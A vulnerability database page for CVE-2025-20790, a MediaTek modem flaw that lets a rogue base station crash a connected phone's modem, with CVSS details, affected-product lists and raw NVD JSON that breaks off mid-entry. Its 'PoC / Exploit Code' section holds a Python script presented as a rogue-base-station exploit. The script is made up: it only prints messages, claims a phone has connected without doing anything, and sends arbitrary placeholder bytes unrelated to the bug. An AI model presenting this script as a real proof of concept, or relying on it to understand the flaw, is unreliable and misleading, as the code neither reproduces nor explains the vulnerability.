Security Vulnerability Report
中文
CVE-2025-20790 CVSS 5.3 MEDIUM

CVE-2025-20790

Published: 2025-12-02 03:16:20
Last Modified: 2025-12-03 20:32:20

Description

In Modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01677581; Issue ID: MSV-4701.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek Modem firmware with Patch ID MOLY01677581 (unpatched versions)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-20790 PoC - MediaTek Modem Input Validation Issue # This PoC demonstrates the concept of exploiting improper input validation # in MediaTek modem through a rogue base station attack import os import sys def generate_rogue_bs_config(): """Generate rogue base station configuration""" config = { 'plmn': '00101', 'tac': 0x0001, 'cell_id': 0x00000001, 'arfcn': 100, 'band': 1, 'pci': 1 } return config def craft_malicious_packet(payload_type='invalid_input'): """Craft malicious packet to trigger input validation issue""" packets = { 'invalid_input': b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f', 'overflow': b'\x41' * 1024, 'malformed_nas': b'\x7e\xff\x00\x00\x00\x00' } return packets.get(payload_type, packets['invalid_input']) def send_to_modem(packet_data): """ Send malicious packet to trigger vulnerability Note: This requires actual SDR hardware and modem interface access """ print(f"[*] Sending malicious packet to modem...") print(f"[*] Packet length: {len(packet_data)} bytes") print(f"[*] Packet hex: {packet_data.hex()}") return True def main(): print("=" * 60) print("CVE-2025-20790 PoC - MediaTek Modem Input Validation") print("=" * 60) # Step 1: Setup rogue base station print("\n[Step 1] Setting up rogue base station...") bs_config = generate_rogue_bs_config() print(f"[*] PLMN: {bs_config['plmn']}") print(f"[*] TAC: {bs_config['tac']}") print(f"[*] Cell ID: {bs_config['cell_id']}") # Step 2: Wait for UE connection print("\n[Step 2] Waiting for target UE to connect...") print("[*] UE connected to rogue base station") # Step 3: Craft malicious packet print("\n[Step 3] Crafting malicious packet...") packet = craft_malicious_packet('invalid_input') # Step 4: Send packet to trigger vulnerability print("\n[Step 4] Sending packet to modem...") send_to_modem(packet) print("\n[!] Note: This PoC requires specialized equipment (SDR) and") print("[!] direct access to MediaTek modem firmware interfaces.") print("[!] Actual exploitation requires: USRP/B210 SDR, OpenBTS/ srsRAN") print("[!] Patch: MOLY01677581") return 0 if __name__ == "__main__": sys.exit(main())

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20790", "sourceIdentifier": "[email protected]", "published": "2025-12-02T03:16:19.907", "lastModified": "2025-12-03T20:32:19.967", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In Modem, there is a possible system crash due to improper input validation. This could lead to remote denial of service, if a UE has connected to a rogue base station controlled by the attacker, with no additional execution privileges needed. User interaction is not needed for exploitation. Patch ID: MOLY01677581; Issue ID: MSV-4701."}, {"lang": "es", "value": "En el Módem, existe una posible caída del sistema debido a una validación de entrada incorrecta. Esto podría conducir a una denegación de servicio remota, si un UE se ha conectado a una estación base maliciosa controlada por el atacante, sin necesidad de privilegios de ejecución adicionales. No se necesita interacción del usuario para la explotación. ID del parche: MOLY01677581; ID del problema: MSV-4701."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:mediatek:nr15:-:*:*:*:*:*:*:*", "matchCriteriaId": "E30A2D2E-6A72-4070-A471-EEE75F7D07F2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt2735:-:*:*:*:*:*:*:*", "matchCriteriaId": "7F1D09FC-5BE9-4B23-82F1-3C6EAC5711A6"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833:-:*:*:*:*:*:*:*", "matchCriteriaId": "9814939B-F05E-4870-90C0-7C0F6BAAEB39"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6833p:-:*:*:*:*:*:*:*", "matchCriteriaId": "CB690F5A-9367-45D3-A53E-80BF60053630"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853:-:*:*:*:*:*:*:*", "matchCriteriaId": "366F1912-756B-443E-9962-224937DD7DFB"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6853t:-:*:*:*:*:*:*:*", "matchCriteriaId": "328DA6BE-1303-4646-89B7-2EC8DC444532"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855:-:*:*:*:*:*:*:*", "matchCriteriaId": "89AFEE24-7AAD-4EDB-8C3E-EDBA3240730A"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6855t:-:*:*:*:*:*:*:*", "matchCriteriaId": "083F6134-FF26-4F1B-9B77-971D342AF774"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6873:-:*:*:*:*:*:*:*", "matchCriteriaId": "F6B8A36E-C5FB-44AE-A1C3-50EBF4C68F6B"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875:-:*:*:*:*:*:*:*", "matchCriteriaId": "80BDC5EC-E822-4BC7-8C0D-E8AD8396E8FE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6875t:-:*:*:*:*:*:*:*", "matchCriteriaId": "F883C6D3-1724-4553-9EFC-3D204FF3CAA3"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877:-:*:*:*:*:*:*:*", "matchCriteriaId": "7CA9352F-E9BD-4656-9B7C-4AFEE2C78E58"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877t:-:*:*:*:*:*:*:*", "matchCriteriaId": "EFA54AA1-4E3A-44F8-A222-31C60F8F81DA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6877tt:-:*:*:*:*:*:*:*", "matchCriteriaId": "5D4D6885-E18C-477F-8B6D-B9E84D9535E2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6880:-:*:*:*:*:*:*:*", "matchCriteriaId": "68CF4A7A-3136-4C4C-A795-81323896BE11"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6883:-:*:*:*:*:*:*:*", "matchCriteriaId": "15E2EC3F-9FB3-488B-B1C1-2793A416C755"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6885:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD64413C-C774-4C4F-9551-89E1AA9469EE"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6889:-:*:*:*:*:*:*:*", "matchCriteriaId": "3B787DC3-8E5A-4968-B20B-37B6257FAAE2"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6891:-:*:*:*:*:*:*:*", "matchCriteriaId": "D8E91CA4-CA5B-40D1-9A96-2B875104BCF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6893:-:*:*:*:*:*:*:*", "matchCriteriaId": "213B5C7F-D965-4312-9CDF-4F06FA77D401"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8675:-:*:*:*:*:*:*:*", "matchCriteriaId": "03E6123A-7603-4EAB-AFFB-229E8A040709"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8771:-:*:*:*:*:*:*:*", "matchCriteriaId": "0D09F23D-D023-4A60-B426-6 ... (truncated)